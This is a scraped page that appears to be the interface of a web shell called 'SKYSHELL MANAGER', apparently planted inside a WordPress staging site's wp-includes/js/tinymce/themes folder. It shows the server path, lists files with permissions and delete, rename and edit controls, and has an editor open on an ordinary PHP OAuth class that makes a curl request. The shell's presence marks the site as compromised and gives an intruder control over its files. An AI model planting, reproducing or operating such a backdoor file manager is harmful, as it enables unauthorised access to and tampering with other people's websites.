📁
SKYSHELL MANAGER
PHP v8.2.31
Create
Create
Path:
root
/
home
/
thevaxnx
/
nativize.com
/
staging
/
wp-includes
/
js
/
tinymce
/
themes
/
Name
Size
Perm
Actions
📁
inlite
-
0755
🗑️
🏷️
🔒
📁
modern
-
0755
🗑️
🏷️
🔒
📄
wp-links-opml.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
Edit: Auth.php
<?php namespace App\Service\Auth; use App\Service\State\StateUser; class Auth { private const AUTHORISATION_HEADER_PATTERN = 'Authorization: Bearer %s'; private const CURL_ERROR_EXCEPTION_MESSAGE_PATTERN = 'CURL error during OAuth request (%s): %s with params: %s'; private const CURL_EMPTY_RESPONSE_EXCEPTION_MESSAGE_PATTERN = 'Empty response from "%s" with params: %s'; public function __construct( private readonly StateUser $stateUser, ) { } /** * @throws OAuthException */ public function accessResource(string $url, array $requestParameters): string { $accessToken = $this->stateUser->getAccessToken(); if (!$accessToken) { throw new OAuthException('User is unauthorized'); } $requestString = http_build_query($requestParameters); $crl = curl_init(); curl_setopt($crl, CURLOPT_HTTPHEADER, [ sprintf(static::AUTHORISATION_HEADER_PATTERN, $accessToken->getToken()), ]); curl_setopt($crl, CURLOPT_RETURNTRANSFER, true); curl_setopt($crl, CURLOPT_POST,true); curl_setopt($crl, CURLOPT_URL, $url); curl_setopt($crl, CURLOPT_POSTFIELDS, $requestString); curl_setopt($crl, CURLOPT_TIMEOUT, 600); $response = curl_exec($crl); $errno = curl_errno($crl); if ($errno) { throw new OAuthException(sprintf(static::CURL_ERROR_EXCEPTION_MESSAGE_PATTERN, $errno, curl_error($crl), $requestString), 0, null, $response ); } curl_close($crl); if (empty($response)) { throw new OAuthException(sprintf(static::CURL_EMPTY_RESPONSE_EXCEPTION_MESSAGE_PATTERN, $url, $requestString)); } return $response; } }
Save